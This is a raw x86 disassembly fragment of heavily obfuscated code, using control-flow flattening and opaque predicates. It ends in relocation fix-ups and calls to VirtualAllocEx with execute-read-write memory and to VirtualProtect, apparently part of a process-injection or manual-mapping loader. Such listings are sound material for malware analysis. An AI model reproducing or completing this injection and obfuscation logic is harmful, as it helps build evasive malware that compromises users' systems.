mov dword [esp + 0x5c], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc7ea7b30
jmp 0x4045dc
mov ecx, dword [esp + 0xd0]
mov eax, 0x37967e7f
mov dword [esp + 0x78], ecx
jmp 0x401520
mov eax, dword [esp + 0x94]
mov edi, 0x44cbec47
mov esi, 0x116de30d
cmp eax, dword [esp + 0x98]
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
setl byte [esp + 0x2e]
imul ecx, eax
mov eax, 0x116de30d
jmp 0x40455a
mov eax, dword [esp + 0x104]
mov ecx, dword [esp + 0x100]
sub ecx, dword [eax]
mov eax, dword [esp + 0x188]
add eax, dword [esp]
mov dword [esp + 0xb4], ecx
mov dword [esp + 0x50], eax
mov eax, 0xc867191c
jmp 0x401520
mov eax, 0x1e91dcb1
mov dword [esp + 8], 5
jmp 0x401520
mov eax, 0x417e4806
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x619727e1
mov esi, 0xb4fb5f62
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb4fb5f62
jmp 0x40455a
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0xf537f435
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x554bab81
jmp 0x404712
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xe02ab89b
mov esi, 0x75bc770b
jmp 0x4014e9
mov eax, 0xeaf59cf1
jmp 0x401520
mov eax, dword [esp]
mov esi, 0xe8823833
mov edi, 0xaf49b6f7
mov dword [esp + 0x88], eax
mov eax, dword [esp + 4]
add eax, 0x18
mov dword [esp + 0x8c], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0xaf49b6f7
jmp 0x4045e4
mov eax, dword [esp + 0xa0]
mov edi, 0xb09a802e
mov esi, 0x30727fdc
cmp dword [eax], 0
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
setne byte [esp + 0x2f]
imul ecx, eax
mov eax, 0x30727fdc
jmp 0x40455a
mov eax, dword [esp + 0x80]
mov eax, dword [esp + 0x7c]
mov eax, 0x284021cf
jmp 0x401520
mov eax, dword [esp + 0x18]
and eax, 0x20000000
mov dword [esp + 0x158], eax
mov eax, 0x5739d32c
jmp 0x401520
mov eax, 0x3fe637d8
jmp 0x401520
mov eax, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
mov eax, 0x482a9926
jmp 0x401520
mov eax, 0x282f754a
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x7c0e5093
mov edi, 0x334e10a1
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test eax, edx
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401520
mov eax, dword [esp + 0x128]
add eax, dword [esp + 0x12c]
mov dword [esp + 0x60], eax
mov eax, 0xa8a0258a
jmp 0x401520
mov eax, 0x2481291
jmp 0x401520
mov eax, dword [esp + 0x14c]
mov ecx, 0xc02df7f1
cmp eax, 0xc
mov eax, 0x8076b58a
cmove eax, ecx
jmp 0x401520
mov eax, dword [esp + 0x38]
mov dword [esp + 0x10], eax
mov eax, 0xee1818d4
jmp 0x401520
mov eax, dword [esp + 0x20]
mov dword [esp + 0x134], eax
mov eax, 0x387a4235
jmp 0x401520
mov eax, 0x2554b632
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x2647f80
mov edi, 0x59e6a790
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test eax, edx
mov edx, dword [esp + 0x10]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
inc edx
mov dword [esp + 0x38], edx
jmp 0x401520
mov dword [esp + 8], 0xa
mov eax, 0xd6f8feca
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xd0ddf12b
mov esi, 0x66be9694
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov eax, edi
cmove eax, esi
mov esi, dword [esp + 0x90]
cmp ecx, 0xa
mov edx, dword [esp + 0x88]
cmovge eax, edi
cmp edx, dword [esi]
setne byte [esp + 0x2c]
jmp 0x401520
mov ecx, dword [esp + 0x18]
mov eax, ecx
xor eax, 0xbfffffff
and eax, ecx
mov dword [esp + 0x168], eax
mov eax, 0x52e9cbaa
jmp 0x401520
mov eax, 0xfc89c8cc
jmp 0x401520
mov eax, 0xc933c34f
jmp 0x401520
mov eax, dword [esp]
mov ecx, dword [esp + 0x3c]
mov edi, 0x45959dee
mov esi, 0x69b62d7e
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0x24]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
mov dword [esp + 0xf0], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x69b62d7e
jmp 0x40455a
mov eax, 0x18f44693
jmp 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x4ae4f704
mov edi, 0x8e3269d8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8e3269d8
jmp 0x4045e4
mov eax, 0xd0c90f72
jmp 0x401520
mov eax, 0xed772144
jmp 0x401520
mov eax, 0x18cc86ef
jmp 0x401520
cmp byte [esp + 0x2f], 0
mov eax, 0x44054a33
mov ecx, 0x80a3dca8
cmovne eax, ecx
jmp 0x401520
mov eax, 0xed216440
jmp 0x401520
mov eax, dword [0x4663e8]
mov esi, 0xe91cff7f
mov edi, 0xcda18cfd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcda18cfd
jmp 0x4045dc
mov eax, 0xbdd81dba
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x7f297a57
mov esi, 0x42d0c17c
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
inc dword [esp + 0x20]
jmp 0x401520
mov eax, 0x977226
mov dword [esp + 0x24], 0
jmp 0x401520
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x38], eax
mov eax, 0x9d739b58
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x35babf88
mov esi, 0xc5bf16cf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc5bf16cf
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4663e4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401520
mov eax, 0x8d40fd55
jmp 0x401520
mov eax, dword [esp + 0x140]
mov dword [esp + 0x40], 0
mov dword [esp + 0x68], eax
mov eax, 0x8b24de62
jmp 0x401520
mov eax, dword [esp + 4]
mov esi, 0xe4dcc1ef
mov edi, 0x689811a7
mov eax, dword [eax + 0x50]
mov dword [esp + 0xd4], eax
lea eax, [esp + 0x190]
mov dword [esp + 0xd8], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x689811a7
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4663e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401520
mov eax, dword [esp + 0x9c]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x1c]
mov edx, dword [edi + eax]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov esi, dword [esp + 0x14]
add edx, dword [esp + 0x14]
mov dword [edi + eax], edx
mov eax, 0x724441bb
jmp 0x401520
mov eax, dword [esp + 0x50]
mov eax, dword [eax + 4]
add eax, dword [esp + 0x6c]
mov dword [esp + 0x124], eax
mov eax, 0xd61a7039
jmp 0x401520
mov dword [esp + 8], 0xd
mov eax, 0x468b2a28
jmp 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x9d739b58
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2647f80
jmp 0x404712
mov eax, dword [esp + 0x44]
movzx eax, word [eax]
mov word [esp + 0x72], ax
mov eax, 0xf0aa1173
jmp 0x401520
mov eax, 0x661ae861
jmp 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x5d6a4472
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4346abcb
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401520
mov eax, 0x122fd556
jmp 0x401520
push 0x40
push 0x3000
push dword [esp + 0xdc]
push 0
push dword [esp + 0xec]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xeef0c9
jmp 0x401520
mov eax, 0x1f39cb7a
jmp 0x401520
lea ecx, [esp + 0x184]
push ecx
push edx
push esi
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x5be31a08
lea ebp, [esp + 0x218]
jmp 0x401520
cmp eax, 0xce727201
jne 0x401520
mov esi, dword [esp + 0x180]
mov ecx, dword [esp + 0x1e18]
xor ecx, esp
vzeroupper
call fcn.00438f60
mov eax, esi
add esp, 0x1e1c
pop esi
pop edi
pop ebx
pop ebp
ret